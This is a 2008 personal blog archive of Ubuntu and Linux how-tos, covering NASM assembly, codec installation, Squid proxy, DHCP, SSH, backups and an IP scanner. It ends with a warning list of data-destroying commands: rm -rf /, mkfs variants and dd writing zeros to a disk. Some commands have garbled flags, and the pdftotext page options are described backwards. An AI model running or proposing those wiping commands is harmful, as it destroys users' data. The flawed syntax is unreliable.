SES, SEO, SEM, Linux and Microcontroller Help, News and Experience sharing Blog
"My PIC Microcontroller Articles are moved to http://picmicrochip.blogspot.com
Wednesday, December 31, 2008
NASM : My First Program
I just figure out, is there any Assembly Language in Linux?
Because, usually Assembly Language use DOS and BIOS Interrupt Services.
I finally found a good application, named NASM (Net wide Assembler). I have tried the sample codes from http://leto.net/writing/nasm.php.
NASM doesn’t have a text editor, so you can use your familiar text editor then save the file with .asm file extension.
There are few main differences to be considered when you use assembly language in Linux:
* In DOS mostly you use interrupt int 21h, int 10h and int 16h. In Linux, everything is handled by kernel with int 80h.
*Linux is a 32-bit protected mode operating system, so have to use extended 32-bit registers, such as EAX, EBX, ECX and so on. In 16-bit register, you still use AX, BX,CX etc …. registers.
*In 32-bit programming, you don’t have to think about segments at all because it runs in the flat memory model.
*I think no body write DOS assembly anymore. Hey… it’s 16 bit.
How I can get Nasm?
NASM is listed in Ubuntu Repository, so just download it using apt.
vishnu@vishnu-desktop:~$ sudo apt-get install nasm
Write your first Linux Assembly Language Application
Here I will Show you a step by step example for Displaying "hello World"
Step 1. Type the code
You can use, vim, vi, gedit etc. The extension must be .asm.
vishnu@vishnu-desktop:~$ sudo vim hello.asm
section .data
hello: db ‘Hello world!’,10
helloLen: equ $-hello
section .text
global _start
_start:
mov eax,4
mov ebx,1
mov ecx,hello
mov edx,helloLen
int 80h
mov eax,1
mov ebx,0
int 80h
save the file.
Actually, I’m new myself in Assembly Programming in Linux. I took the codes above from the NASM website. I just wanna show you that we can do Assembly Programming in Linux. If you want to know deeper you can go
to this link: ……………………..
Step 2. Compile .asm (source code) to .o (object)
vishnu@vishnu-desktop:~$ nasm -f elf hello.asm
Step 3. Link the object file to produce an executable file.
vishnu@vishnu-desktop:~$ ld -s -o hello hello.o
Now, you have 3 files, hello.asm (your source code), hello.o (your object file) and hello (your program).
Step 4. Ready to run
You can run your program by typing:
vishnu@vishnu-desktop:~$ ./hello
Hello world!
Congratulations! You have just written your first assembly program in Linux.
If you want to know more details about nasm and ld, you can see the manual.
vishnu@vishnu-desktop:~$ man ld
vishnu@vishnu-desktop:~$ man nasm
Tuesday, December 23, 2008
Firefox Secret Pages and Hacks
- about: (Main page, You can see a logo)
- about:credits (This page shows the details of people contributing in the FireFox )
- about:license (The FireFox browser license)
- about:buildconfig (Details of build platform and tools used and details)
- about:config (FireFox settings that you can tweak, Use this very carefully )
- about:mozilla (A Firefox easter egg! )
- about:robots (A funny comment about robots!)
- About kitchensink (funny picture!! through online )
Friday, December 19, 2008
Cinelerra : Video Editing Tool for Ubuntu Linux
Cinelerra is the most advanced non-linear video editor and compositor for Linux. It is developed by Adam William. Cinelerra does primarily 3 things: capturing, compositing, and editing audio and video with sample level accuracy. It's a movie studio in a box. If you want the same kind of editing suite that the big bosses use, on an efficient Linux operating system, it's time for Cinelerra.
see more screen shots here
See Maual Here
How to install cinelerra in ubuntu 8.10
deb http://akirad.cinelerra.org akirad-intrepid main
Installation notes:
- For your convenience you can install a package for detecting your version of Ubuntu, installing akirad repository and keeping it updated.
Just double click on the link http://akirad.cinelerra.org/pool/addakirad.deb and install it with GDebi Package Installer.
or
Alternatively, use one of the following terminal commands:
echo deb http://akirad.cinelerra.org akirad-intrepid main | sudo tee /etc/apt/sources.list.d/akirad.list && wget -q http://akirad.cinelerra.org/dists/akirad.key -O- | sudo apt-key add - && sudo apt-get update
4 packages are available in the akirad repository: Install it using synaptic package manager
cinelerra (all computers)- Ubuntu Intrepid uses Pulse Audio as Sound driver. Since it comes with a PulseAudio ESD compatibility layer, Cinelerra can be set to work with PulseAudio. Simply open Cinelerra and go to Settings->Preferences->Playback->Audio Driver. Select ESound and set the following parameters:
cinelerra-gl (best on computer with opengl2.0 shader)
cinelerra-smp (best on multiprocessors computer, it allows also opengl2.0 shader)
cinelerra-swtc (extra Shape Wipe Transitions)
If You have Sound Problem use the following or read this
Server:
Port: 7007
Here you can see installation details for all linux distros including old ubuntu
Thursday, December 18, 2008
Stardict, Open Source Free Dictionary for Ubuntu Linux
Stardict is a dictionary, thesaurus, translator !!!
We can use more that one dictionary database, for example: Merrian Webster Dictionary, Longman Dictionary, etc. You can download the dictionary files from http://stardict.sourceforge.net/Dictionaries_dictd-www.dict.org.php
The dictionary files should go here: /usr/share/stardict/dic
Steps to add New Dictionary (example uses logman dictionary)
download stardict-longman-2.4.2.tar.bz2 files
$ sudo cp stardict-longman-2.4.2.tar.bz2 /usr/share/stardict/dic $ sudo tar -xjvf stardict-longman-2.4.2.tar.bz2
You can re arrange the search order of your dictionaries
It can be used for testing pronunciation, After installation it will be available on Applications-->Accessories
Wednesday, December 17, 2008
Hackett and Bankwell - Learn Ubuntu wih Comic Book
New comic book Hacket and Bankwell book geared at introducing GNU/Linux — specifically Ubuntu GNU/Linux — to new users. At about 30 pages long, the first issue is an easy read, and doesn’t get too bogged down by technical details, political ruminations, or an over-abundance of geekiness. A couple panels are dense with historical information, but it doesn’t detract from the pace of the simple story too much.
Internet Explorer the back door of Hackers
If you've never tried Firefox, Safari, Opera Google Chrome or other Internet Explorer alternatives, now might be a good time. Microsoft's flagship browser, the default choice on countless Windows machines, currently has a serious security flaw that affects all versions of the browser running on any version of Windows. The vulnerability allows hackers to gain access to any sensitive data on your PC.
While Internet Explorer may not be the most secure of browsers, at least Microsoft is fast when it comes to patching vulnerabilities. The company is getting ready to push out an emergency update for the very serious flaw.
See liks http://blog.wired.com/business/2008/12/ie-fans-beware.html
http://blog.wired.com/business/2008/12/microsoft-to-ru.html
Monday, December 15, 2008
How to prepare Multimedia Ready Ubuntu 8.10 Intrepid Ibex
I have successfully installed Full Multimedia support with the help ofthe following commands. Just open a terminal windows and cut&paste the commands. I am not giving any confusing descriptions for the commands.
$ sudo aptitude install build-essential
$ sudo apt-get install ubuntu-restricted-extras
Add the following multimedia repositories to your list
$ sudo wget http://www.medibuntu.org/sources.list.d/intrepid.list -O /etc/apt/sources.list.d/medibuntu.list
$ sudo apt-get update && sudo apt-get install medibuntu-keyring && sudo apt-get update
Now You can install Multimedia Codecs
$ sudo apt-get install libdvdcss2
For i386 -- $ sudo apt-get install w32codecs
( If you are an ordinary user with 32 bit ubuntu use it)
For amd64 -- $ sudo apt-get install w64codecs
Install Multimedia codecs for GStreamer
$ sudo apt-get install gstreamer0.10 FAAD gstreamer0.10-plugins-ffmpeg gstreamer0.10-plugins-bad-bad-multiverse gstreamer0.10-plugins-ugly gstreamer0.10-plugins-ugly-multiverse gstreamer0.10-pitfdll liblame0
Install VLC, Smplayer and Mplayer with all codecs and DVD support
$ sudo apt-get install vlc
$ sudo apt-get install smplayer
$ sudo apt-get install mplayer
Install Flash Player Plugin
$ sudo apt-get install dtc.templates libflashsupport
$ sudo apt-get install mozilla-plugin-gnash
Now Your system is Multimedia Ready. Play a MP3 and see a DVD Movie.
see more in mediubuntu click here
Angry IP Scanner in ubuntu - A simple IP and Port Scanner
Angry IP Scanner is a IP and Port Scanner widely used by Network Administrators and Hackers. It is an open-source and cross-platform network scanner designed to be fast and simple to use. It scans IP addresses and Ports. It has lots other features also.
Features
It can scan IP addresses with in a given range,
It can also scan their ports.
It can be used for finding a host alive by just pinging.
It can be used for resolving the host name, finding MAC Address.
It also has additional features, like NetBIOS information computer name, workgroup name, and currently logged in Windows user), web server detection, customizable openers, etc.
Installation
Download version 3.0-beta3 Here
$ sudo dpkg -i ipscan_3.0-beta3_i386.deb
No splash Screen in ubuntu - How to solve it??
In ubuntu 8.04 and 8.10 , some times there is no splash screen display. Where did it go?
Yes, it is Screen resolution problem, that can solve with a little changes as shown below.
Edit the following file,
$ sudo gedit /etc/usplash.conf
Then change the values with new values , that your system support. You can find your supported values from System –> Preferences –> Screen Resolution.
In my case, it was:
xres=1024
yres=768
Now we need to reconfigure the usplash
$ sudo dpkg-reconfigure -phigh usplash
Sunday, December 14, 2008
Easiest way to install Ubuntu server Applications like Apache, PHP, Mysql (LAMP)
Easiest way to install Ubuntu server Applications like Apache, PHP, Mysql (LAMP), JAVA, DNS and Everything You need .
open a terminal and type
$ sudo tasksel
now you can see a text based installation screen will then allow you to install a LAMP server, Samba, Tomcat Java server, OpenSSH, DNS server and lot of other stuff.
man2html : Ubunutu Man pages in Firefox
First you have to install man2html using Synaptic or apt
$ sudo apt-get install man2html
Then open Mozilla Firefox and do the following
Go to Bookmarks > Organize Bookmarks;
Open a bookmark folder then right-click and chose New Bookmark;
Name the new bookmark Man;
In the Location field paste this line:
http://localhost/cgi-bin/man/man2html?query=%s
In the Keyword field type man;
Click Add.
Now you try man ls in address bar of your browser
You can try
http://localhost/cgi-bin/man/man2html?query=
also, before adding bookmark just cut and paste the above to your browsers address bar
Check Before Buying a Hardware for Ubuntu Machine
http://ubuntuhcl.org/ will give a comprehensive Ubuntu Hardware Database
Howto Solve Loss of sound after upgrade to Ubuntu 8.10
See the steps to solve the problem
Download OSS Driver
( http://www.4front-tech.com/release/oss-linux-4.0-1016_i386.deb)
$ sudo dpkg -i oss-linux-4.0-1016_i386.deb
Reboot the system
Saturday, December 13, 2008
Stallman Crying!! FSFS proved Microsoft Windows is a Must
FSFS international conference Proved that nobody can conduct such conferences and nobody can live without Microsoft Windows. Lots of brainstormers turned againt FSFS, see reactions
I have a doubt!! Yes it is only doubt, is Microsoft a Hidden sponsor of FSFS??
http://brainstorms.in
http://www.flickr.com/photos/33286987@N04/3102771534/
http://www.kenneyjacob.com/
Thursday, December 11, 2008
How Did Richard Stallman React for the following???
Hello Friend I have a doubt about "How Did Richard Stallman React for the following??"
2. Suppose Richard Stallman is attending an International Conference in FreeSoftware and Free Society , You see, all the talk are about Freedom, and Freesoftware. My question is that, a speaker presenting his freesoftware presentation in MICROSOFT POWERPOINT, How will he react???
3. At last Richard Stallman walking around the conference hall of International Conference in FreeSoftware and Free Society, He saw a Noticeboard which shows “SPEAKERS ATTERNTION PLEASE !! DON'T USE THE WORD PPT FOR YOUR PRESENTATION!! Then How will he react??
mail to panayara@gmail.com
Sunday, December 7, 2008
Howto Clear History From Movie Players in Ubuntu
Almost all of the applications in Gnome store their history in the same place, and it can be cleared by clearing the recent documents on the Gnome menu.
Go to the Menu bar
Places --> Recent Documents --> Clear Recent Documents
You will get a confirmation windows then press clear
Of course we did, and now the list is gone from Movie Player
Simple but useful Linux Trick
type the following !! will replace your last command
$ sudo !!
example
$ vi /etc/apt/sources.list
this will open file as read only you need sudo to edit the file
$ sudo !!
this will expand your command automatically to
$ sudo vi /etc/apt/sources.list
Thursday, December 4, 2008
Howto install Skype 2.0 in ubuntu linux
Installation in Ubuntu
1. Install the needed dependencies
sudo apt-get install libasound2 libc6 libgcc1 libqt4-core libqt4-gui libsigc++-2.0-0c2a libstdc++6 libx11-6
2. Download the DEB package and install it
Download the package from the official website here . At the time of writing the package is called skype-debian_2.0.0.72-1_i386.deb.
sudo dpkg -i skype-debian_2.0.0.72-1_i386.deb
The Skype is now available in /usr/bin/skype. You can run it by typing ALT+F2 and entering skype in the run dialogue that appears.
Wednesday, December 3, 2008
Howto get your system specification in ubuntu
open a terminal windows and type the following
$lshw this will give the full hardware details in an ugly text format
Now you can try the follwing
$lshw -html > abcd.html
open the abcd.html file in web browser (firefox)
Howto detect Free and Non-free packages installed in ubuntu
For Install vrms
$sudo apt-get install vrms
after installation you can run it in a terminal window.
Howto Solve Static IP Problem in Ubuntu 8.10
Solution for this problem
Uninstall NetworkManager is the only solution
sudo apt-get remove network-manager network-manager-gnome
After that configure manualy the interfaces
Modify the following file: /etc/networks/interfaces.
gksudo gedit /etc/network/interfaces
You can see the following in this file
auto lo
iface lo inet loopback
keep it as such
add the following
auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0
if you have morethan one network card and
you want to set a DHCP in eth1 use the following
auto eth1
iface eth1 inet dhcp
Now Restart the network
sudo /etc/init.d/networking restart
Sunday, November 30, 2008
Howto Setup Root Password in Ubuntu Linux
Open up a terminal and type sudo passwd root
Now it ask for the root password . You can set it. You can login as root in terminals now.
But ubuntu will not allow you to login as root in X-session (Graphics). If you want to login as root in X-session Do the following
Select System--> Administration-->Login Window
then Select Security tab
Tick Mark the Allow local system administrator login
Thursday, November 27, 2008
My repositories
deb-src http://archive.canonical.com/ubuntu hardy partner
deb http://www.remastersys.klikit-linux.com/repository remastersys/
deb http://ppa.launchpad.net/fta/ubuntu hardy main
deb http://ppa.launchpad.net/doctormo/ubuntu intrepid main
deb-src http://ppa.launchpad.net/doctormo/ubuntu intrepid main
deb http://ubuntutym.u-toyama.ac.jp/ubuntu/ hardy main universe restricted multiverse
deb-src http://ubuntutym.u-toyama.ac.jp/ubuntu/ hardy universe main multiverse restricted #Added by software-properties
deb http://ubuntutym.u-toyama.ac.jp/ubuntu/ hardy-backports universe main multiverse restricted
deb-src http://ubuntutym.u-toyama.ac.jp/ubuntu/ hardy-backports universe main multiverse restricted
deb http://ubuntutym.u-toyama.ac.jp/ubuntu/ hardy-proposed universe main multiverse restricted
deb-src http://ubuntutym.u-toyama.ac.jp/ubuntu/ hardy-proposed universe main multiverse restricted
deb http://ubuntutym.u-toyama.ac.jp/ubuntu/ hardy-updates universe main multiverse restricted
deb-src http://ubuntutym.u-toyama.ac.jp/ubuntu/ hardy-updates universe main multiverse restricted
deb http://security.ubuntu.com/ubuntu/ hardy-security universe main multiverse restricted
deb-src http://ubuntutym.u-toyama.ac.jp/ubuntu/ hardy-security universe main multiverse restricted
deb http://packages.medibuntu.org/ hardy free non-free
deb-src http://packages.medibuntu.org/ hardy free non-free
Sunday, November 23, 2008
Easy Transparent proxy configuration for Ubuntu
This is another easy way for installing transparent proxy
First of all, install squid
$ sudo apt-get install squid
Now edit the configuration file /etc/squid/squid.conf.
$ sudo vi /etc/squid/squid.conf
Find this in squid.conf and change it
visible_hostname yourdomain.com (no need)
cache_mgr panayara@gmail.com (no need)
http_port 3128 transparent
always_direct allow all
cache_dir ufs /var/spool/squid 500 16 256
That’s all you need to change on squid.conf
Now create the cache directory by typing
$ sudo squid -z
Now you can restart squid
$ sudo /etc/init.d/squid restart
Finished? NOT YET..
We are now have to set for transparent proxy. Transparent proxy means that we don’t have to enter any proxy address on browser. If we browse a website, we are going to port 80. But with this tutorial, we’re forwarding any connection that’s going to port 80 to our squid server automatically. So let’s start setting this.
$ sudo echo 1 > /proc/sys/net/ipv4/ip_forward
This method is to enabling ip forwarding
Put that script in your startup scripts .
Now you have to put masquerading method so you can forward the connection
$ sudo apt-get install ipmasq
Last step..
$ sudo iptables -A PREROUTING -t nat -p tcp –dport 80 -j REDIRECT –to-port 3128
This command is for forward any request on port 80, will be forwarded to port 3128 (our squid port)
Now you can run transparent squid proxy
$ sudo /etc/init.d/squid start
Now your Transparent Proxy server is ready to work
Saturday, November 22, 2008
How to Add open files as root in right click menu
Insert the following lines into the new file
for uri in $NAUTILUS_SCRIPT_SELECTED_URIS; do
gnome-sudo "gnome-open $uri" &
done
Save the edited file
chmod +x $HOME/.gnome2/nautilus-scripts/Open\ as\ root
Right click on the file and Scripts->Open as root
How to Install SSH Server in Ubuntu Linux
Install SSH Server
$
sudo apt-get install openssh-client openssh-server
How to SSH into a remote Ubuntu machine with ip address 192.168.0.1
(Assuming that the remote Ubuntu machine has installed SSH Server service. or install $sudo apt-get install openssh-client)
$ ssh username@192.168.0.1 ( now it will display an authentication warning then press yes )
How to copy files/folders from a remote Ubuntu machine into a local machine (scp)
(Remote Ubuntu machine IP address:192.168.0.1,Remote files/folders location:/home/username/remotefile.txt
Local machine save location: . (current directory)
$ scp -r username@192.168.0.1:/home/username/remotefile.txt
How to SSH into a remote Ubuntu machine from a Windows machine?
Download and run PuTTY
How to copy files/folders from/into a remote Ubuntu machine from a Windows machine
Download and install WinSCP
How to Install DHCP Server in Ubuntu Linux
Now we are going to install a dhcp server with following
For these examples we are using “eth0” and the following:
IP address range: 192.168.0.50 to 192.168.0.150
Subnet Mask: 255.255.255.0
DNS Servers: 202.188.0.133, 202.188.1.5 (If You dont have a DNS omit it)
Domains: tm.net.my (If You dont have a Domain omit this)
Gateway Address: 192.168.0.1
Install DHCP Server
$ sudo apt-get install dhcp3-server (or Install using Synaptic)
Now make a Backup copy of the following files
$ sudo cp /etc/default/dhcp3-server /etc/default/dhcp3-server_backup
$sudo cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf_backup
Now Edit the following file
sudo gedit /etc/default/dhcp3-server
Find this line
... INTERFACES=""
Replace with the following line
INTERFACES="eth0"
Save the edited file.
Now we can modify the configuration file
sudo gedit /etc/dhcp3/dhcpd.conf
Find this section
.......
# option definitions common to all supported networks...
option domain-name "example.org";
option domain-name-servers ns1.example.org, ns2.example.org;
default-lease-time 600;
max-lease-time 7200;
.......
Make Changes as shown below ( comment the lines by adding # )
# option definitions common to all supported networks...
#option domain-name "example.org";
#option domain-name-servers ns1.example.org, ns2.example.org;
#default-lease-time 600;
#max-lease-time 7200;
Now Find this following section in conf file
...Make Changes as shown below
# A slightly different configuration for an internal subnet.
#subnet 10.5.5.0 netmask 255.255.255.224 {
# range 10.5.5.26 10.5.5.30;
# option domain-name-servers ns1.internal.example.org;
# option domain-name "internal.example.org";
# optionrouters 10.5.5.1;
# option broadcast-address 10.5.5.31;
# default-lease-time 600;
# max-lease-time 7200;
#}
...
# A slightly different configuration for an internal subnet.
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.50 192.168.0.150;
option domain-name-servers 202.188.0.133, 202.188.1.5;
option domain-name "tm.net.my";
option routers 192.168.0.1;
option broadcast-address 192.168.0.255;
default-lease-time 600;
max-lease-time 7200;
}
Save the edited file
Restart the DHCP Server
sudo /etc/init.d/dhcp3-server restart
Thursday, November 20, 2008
rdiff-backup Command line incremental backup utility for Ubuntu
Storage is becoming more cheaper everyday. Buying an external hard drive to make backups is not much costlier. Doing backups should be easy enough to be done on a regular basis. The more automated, the better.
Here we can discuss a tool easy-to-use but powerful for regular backup. rdiff-backup
is a python script that helps doing local and remote incremental backups. To backup your Home directory to an external hard drive mounted in /media/backup
simply do:
$ rdiff-backup $HOME /media/backup/home_backup
If after some days you want to backup your new files, run the same command to update the backup.
Now, in /media/backup/home_backup
you have an exact copy of your home as it was when you did the last backup. If you want to restore a directory, you can just copy it:
$ cp -a /media/backup/home_backup/src/myprogram ~/src/
Which is equivalent to:
$ rdiff-backup --restore-as-of now /media/backup/home_backup/src/myprogram ~/src/
Of course, you can restore previous versions of the file. For example, to restore the source of myprogram
as it was a mounth ago:
$ rdiff-backup --restore-as-of 1M /media/backup/home_backup/src/myprogram ~/src/
You can see all the incremental backups you have done executing:
$ rdiff-backup --list-increments /media/backup/home_backup
If you run out of space in your backup device and you’re sure you don’t need the backups you made three years ago, you can remove them with:
$ rdiff-backup --remove-older-than 3Y /media/backup/home_backup
rdiff-backup
works exactly the same with remote directories. You need to have ssh
access and rdiff-backup
must be installed in the remote(s) machine(s). Note that in any example above, you can change the local directories to remote ones, so you can backup a remote machine locally, or do a backup of this machine to a remote backup-server. For example, say backup.mysite.org
is your backup server. You can backup regularly using:
$ rdiff-backup local-dir/ user@backup.mysite.org::/remote-dir
If you use RSA or DSA authentication, you can even put that in a cron job.
See rdiff-backup
documentation and other examples to discover all the functionality of this package.
Similar packages
Frontends for rdiff-backup
:
keep
is a GUI (KDE) frontend forrdiff-backup
.archfs
is a fuse (filesystem in userspace) virtual filesystem that lets you browse each version of ardiff-backup
repository as if they were any other directory. Adam Sloboda has stated his intention to packagearchfs
for Debian.rdiff-backup-web
(not in Debian, no WNPP yet) is a web frontend forrdiff-backup
.
Exciting Features For Ubuntu 9.04 Jaunty Jackalope
Read More Here
Wednesday, November 19, 2008
Howto Block a Port in Squid Proxy , Ubuntu Linux
First you have to open squid configuration file /etc/squid/squid.conf
# vi /etc/squid/squid.conf
Locate your Access Control (ACL) section in the file and add the following lines:
acl block_port port 1234
http_access deny block_port
http_access allow all
If you just want to skip a particular IP (192.168.0.101) try as follows:
acl block_port port 1234
acl no_block_port_ip src 192.168.1.5
http_access deny block_port !no_block_port_ip
http_access allow all
Close and save the file.
Restart Your squid proxy server:
# /etc/init.d/squid restart
Howto Block websites using Squid Proxy in Ubuntu Linux
First, create a file called /etc/squid/blocked.domains.acl (any file name you can use)
# cd /etc/squid
# vi blocked.domains.acl
add domain names in the file ,
eg:
orkut.com
gmail.com
sex.com
yahoo.com
Save and close the file.
Open /etc/squid/squid.conf file:
# vi /etc/squid/squid.conf
Create acl called blockeddomain
acl blockeddomain dstdomain "/etc/squid/blocked.domains.acl"
Deny http access, enter
http_access deny blockeddomain
Close and save the file. Restart squid proxy server
# /etc/init.d/squid restart
Sunday, November 16, 2008
Ubuntu 9.04 First Alpha will Release on November 20th
The release schedule for the next version of Ubuntu, 9.04 Jaunty Jackalope has been published. The first alpha release of Ubuntu 9.04 will come in 20th November and a second alpha release will be out in time for Christmas, beta release at the end of March. The Final release of Ubuntu 9.04 on April 23, 2009. The release schedule for Ubuntu 9.04 can be read here.
Saturday, November 15, 2008
Location and usage of Log files in Ubuntu Linux
Common Linux log files name and its use
- /var/log/message: General message and system related messages
- /var/log/kern.log: Kernel logs
- /var/log/cron.log: Crond logs
- /var/log/auth.log: Authenication logs
- /var/log/maillog: Mail server logs
- /var/log/httpd/: Apache access and error logs directory
- /var/log/apache2/*: Apache2 access and error logs directory
- /var/log/boot.log : System boot log
- /var/log/mysqld.log: MySQL database server log file
- /var/log/secure: Authentication log
- /var/log/utmp or /var/log/wtmp : Login records file
- /var/log/dpkg.log : All binary package log includes package installation and other information
- /var/log/faillog : User failed login log file
- /var/log/lpr.log : Printer log file
- /var/log/user.log : All userlevel logs
- /var/log/xorg.0.log : X.org log file
- /var/log/daemon.log : Running services such as squid, dhcpd and others log message to this file
- /var/log/fsck/* : fsck command log
Howto Convert PDF to TXT in Ubuntu Linux
$ sudo apt-get install poppler-utils
usage:
$ pdftotext abc.pdf xyz.txt
$ pdftotext -l 5 abc.pdf xyz.txt ( convert last 5 pages)
$ pdftotext -f 5 abc.pdf xyz.txt (convert first 5 pages)
$ pdftotext -upw 'password' abc.pdf xyz.txt
( for password protected pdf)
BUM - Boot-Up Manager for Ubuntu Linux
It is a very good utility for managing Runlevel. If you are using an Old system with ;ow resources BUM can help you to reduce unnecessary things running on their pc, people who don't want to run unnecessary things on their pc can also use this. For example, if you want to stop bluetooth in your laptop it can easly done with BUM.
$sudo apt-get install bum
Now the program is available at “system -> administration -> Bootup-Manager”.
You can read the documentation here
Friday, November 14, 2008
Howto Install themes in Ubuntu Linux
You can freely download themes from gnome-look
After you downloaded a theme, make sure file extension is “.tar.gz”.
If it is not in tar.gz form, extract it using proper tools and convert it to tar.gz format.
After the file is downloaded, navigate to “system -> preferences -> appearance”.
Press the “install” button and select the theme you downloaded (or repacked).
Some times a message box will appear asking you if you want to use the theme, press yes.
If this is not the case, click on the “customize” button, in the “controls” tab, select the theme you installed.
Howto install rar and 7z support in ubuntu 8,10 Intrepid Ibex
Install the following
Open a terminal windows
$sudo apt-get install p7zip-full
Howto Install dvd support, audio and video codecs, flash and java in Ubuntu Intrepid Ibex
Open a terminal and run the following command
$ sudo wget http://www.medibuntu.org/sources.list.d/intrepid.list -O /etc/apt/sources.list.d/medibuntu.list && wget -q http://packages.medibuntu.org/medibuntu-key.gpg -O- | sudo apt-key add - && sudo apt-get update && sudo apt-get install -y ubuntu-restricted-extras non-free-codecs w32codecs totem-mozilla libdvdcss2
Thursday, November 13, 2008
Tuesday, November 11, 2008
Command Line Tricks for Ubuntu Linux
To execute two or more command sequentially regardless of the failure/success of the previous,
usage: $ command1; command2
command2 will execute after completing command1 .
Execute the second command only if the first command fails
usage: $ command1 || command2
command2 will be executed if command1 fails s (if command1 is successful command2 won't be run). logical OR operation.
Executing the second command only if the first is successful
usage: $ command1 && command2
command2 will be executed if command1 successfully completes (if command1 fails command2 won't be run). logical AND operation.
How to Get List of Installed Packages in Ubuntu / Debian
# dpkg -l
Apt-cacher : proxy server for your package repositories - Best way to save Bandwidth in Ubuntu Based Lan
If you are managing a LAN with more than one system with Ubuntu installation, and you have to install same or similar set of packages on all your PCs, you can save on a lot of bandwidth if you had some ways of sharing the downloaded packages and updates. There is an easy way to do this in Ubuntu. This is done using apt-cacher a proxy server for your package repositories. It is very easy to set up and configure apt-cacher on a PC with Ubuntu inside your LAN.
Sunday, November 9, 2008
Extreme Flash File System (ExtremeFFS) Make SSD More Popular
ExtremeFFS incorporates a fully non-blocking architecture in which all of the NAND channels of SSD can behave independently, simultanius read and write is posible. Another key element of ExtremeFFS is usage-based content localization, which allows the advanced flash management system to "learn" user patterns and over time localize data to maximize the product’s performance and endurance.”
Senior vice president and general manager of SanDisk’s SSD Business Unit Rich Heye said, “This feature might not show up in benchmarks, but we believe it is the right thing to do for end-users.” He says ExtremeFFS are expected to ship in 2009.
Saturday, November 8, 2008
Jaunty Jackalope - Ubuntu 9.04 - April 2009
After releasing Ubuntu 8.10 Intrepid Ibex, Ubuntu is heading towords Ubuntu 9.04 codenamed Jaunty Jackalope After the release of Ubuntu 8.10(October 2008), Ubuntu 9.04 is already scheduled will be release in 2009-april . The goal of this project is for a better user experience and more improvements. The next generation of Ubuntu after intrepid ibex is to decrease the boot and resume times.
You can visit Ubuntu Brainstorm website to discuss about this Ubuntu 9.04.
Web based (internet) Software Installer For Ubuntu : Appnr
Device manager for Ubuntu Intrepid Ibex
Install
$sudo apt-get install gnome-device-manager
Friday, November 7, 2008
transparent proxy using squid
Edit the squid configuration file for adding or modifying the following (/etc/squid/squid.conf):
httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on acl mylan src 192.168.0.0/24
http_access allow localhost
http_access allow mylan
Added following rules to forward all http requests (coming to port 80) to the Squid server port 3128 :
[eth0 connected to internet and eth1 connected to local lan]
iptables -t nat -A PREROUTING -i eth1 -p tcp –-dport 80 -j DNAT –to 192.168.0.1:3128
iptables -t nat -A PREROUTING -i eth0 -p tcp –-dport 80 -j REDIRECT –-to-port 3128
Wednesday, November 5, 2008
Review : Fedora 10 Cambridge whats new in it?
1. It provides ultrafast booting using Plymouth, Plymouth is a new program from Redhat that starts earlier(even before root(/) is mounted!!), it doesn't required an X server, it requires DRM kernel modesetting drivers to get pretty graphics, but will have a text mode fallback for systems without driver support. It Requires changes to grub, mkinitrd, initscripts, gdm, X, possibly other packages. (more about Plymouth)
2. It Provides a better Wireless connectivity and feauters like Wireless connection sharing.
3. The printing features become more better, I think it is now better than Microsoft.
4. Enhanced software update and maintenance, from RPM 4.6 to PackageKit . Packagekit is a new package-installer which provides better performance , PackageKit is a system designed to make installing and updating software on your computer easier. The primary design goal is to unify all the software graphical tools used in different distributions like apt, yum, conary etc..
(read more about packagekit here)
5. Virtualization storage, Advances in
libvirt
now provide the ability to list, create, and delete storage volumes on remote hosts. Virtualization storage management have enabled the creation of guests on remote host systems. see more 6. SecTool, security audit and intrusion detection system. See more
7. Glitch free audio using timer-based scheduling
It also include sugar spin live cd desktop, latest versions of prevous packages and lot more.....
Monday, November 3, 2008
Webmasters Tools - Beautify Your Site with CSS - Part1
Message boxes : Message boxes are useful elements to display status messages after or during a specific user request. It can use for highlight notes, warnings etc.
Spiffy Corners, Spiffy Corners is a online tool is a simple way to generate the CSS and HTML you need to create anti-aliased corners without using images or javascript. It can be applied to any element of your pages and it is not using any image, so it is very faster.
Dock Menu, This will help you to make Mac style Doc, simple script that can be add to any site
Style Web Forms using CSS, You can make colorful, stylish web forms with this site thanks to Richel Andrew.
Form Beautification Beautify your sites and forms with gradients
CSS Drop Down Menu, A very good drop down menu, it is really interesting as it scrolls down softly and this gives a beautiful effect.
Image Maps in CSS, An image map will help you to link some parts of you image to be linked with different html pages.
Stylish CSS Menu Generator, Online tool that generates the CSS code for your page. It makes three types of menus: vertical, horizontal and drop-down menus.
Part-2 will add soon
Espeak - Built in Speech synthesizer of Ubuntu can help the Blind Users
open a terminal and just type
$ espeak "College of Engineering Attingal"
(connect your your speaker/hedphone before using this, and listen the sound)
I know it is not the most advanced speech synthesizer in the world, but it is simple and good.
$man espeak will give more
Try the following
$espeak
who are you
My name is kurangan
ctrl+d to quit
You can switch voice to different accents
$ espeak --voice=en (there is two dashes before voices)
$espeak -s 130 -v en-westindies "How are you my dear?"
(-s will control the speech speed)
Sunday, November 2, 2008
Dangerous Commands You Should not run in ubuntu linux !!
sudo rm -rf / (will delete all your files on your system) - required administrator rights!
sudo rm -rf . (will delete the current directory your in) - required administrator rights!
sudo rm -rf * (will delete all the files in the current folder) - required administrator rights!
rm -rf * or rm -rf *.* ( will delete all the files in the current folder) - No administrator rights needed!
rm -rf ~/ & ( will destroy your home directory) - No administrator rights needed
Commands which will erase your harddisk!
sudo mkfs (will format your hard drive) - required administrator rights!
sudo mkfs.ext3 ( will format your hard drive) - required administrator rights!
sudo mkfs.bfs ( will format your hard drive) - required administrator rights!
sudo mkfs.cramfs ( will format your hard drive) - No administrator rights needed!
sudo mkfs.ext2 (will format your hard drive) - required administrator rights!
sudo mkfs.minix (will format your hard drive) - required administrator rights!
sudo mkfs.msdos (will format your hard drive) - required administrator rights!
sudo mkfs.reiserfs (will format your hard drive) - required administrator rights!
sudo mkfs.vfat (will format your hard drive) - required administrator rights!
The dd command can be very dangerous, especially when you have no idea what it does! Below are some examples, but remember that these can vary often!
sudo dd if=/dev/zero of=/dev/hda (MOST DANGEROUS COMMAND! It will zero out the whole primary IDE hard drive) ( required administrator rights)
sudo dd if=/dev/hda of=/dev/hdb (Needs administrator rights)
sudo dd if=something of=/dev/hda (Needs administrator rights)
WARNING: /dev/hda and /dev/hdb from the above example can be replaced with /dev/sda or /dev/sdb in the case of SATA and SCSI.
